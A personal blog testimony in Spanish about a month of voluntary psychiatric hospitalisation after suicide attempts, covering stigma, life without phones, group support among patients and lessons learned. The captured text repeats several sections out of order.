Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
#acompañamiento #depresión #desconexiónDigital #empatía #experienciaPersonal #hospitalPsiquiátrico #InteligenciaArtificial #intentoDeSuicidio #internaciónPsiquiátrica #neurodivergencia #prevenciónDelSuicidio #redesSociales #SaludMental #saludMentalEnArgentina #suicidio #TDAH #terapia #Testimonio #tratamientoIntegral #vínculosHumanos - Introducción
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«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
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Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
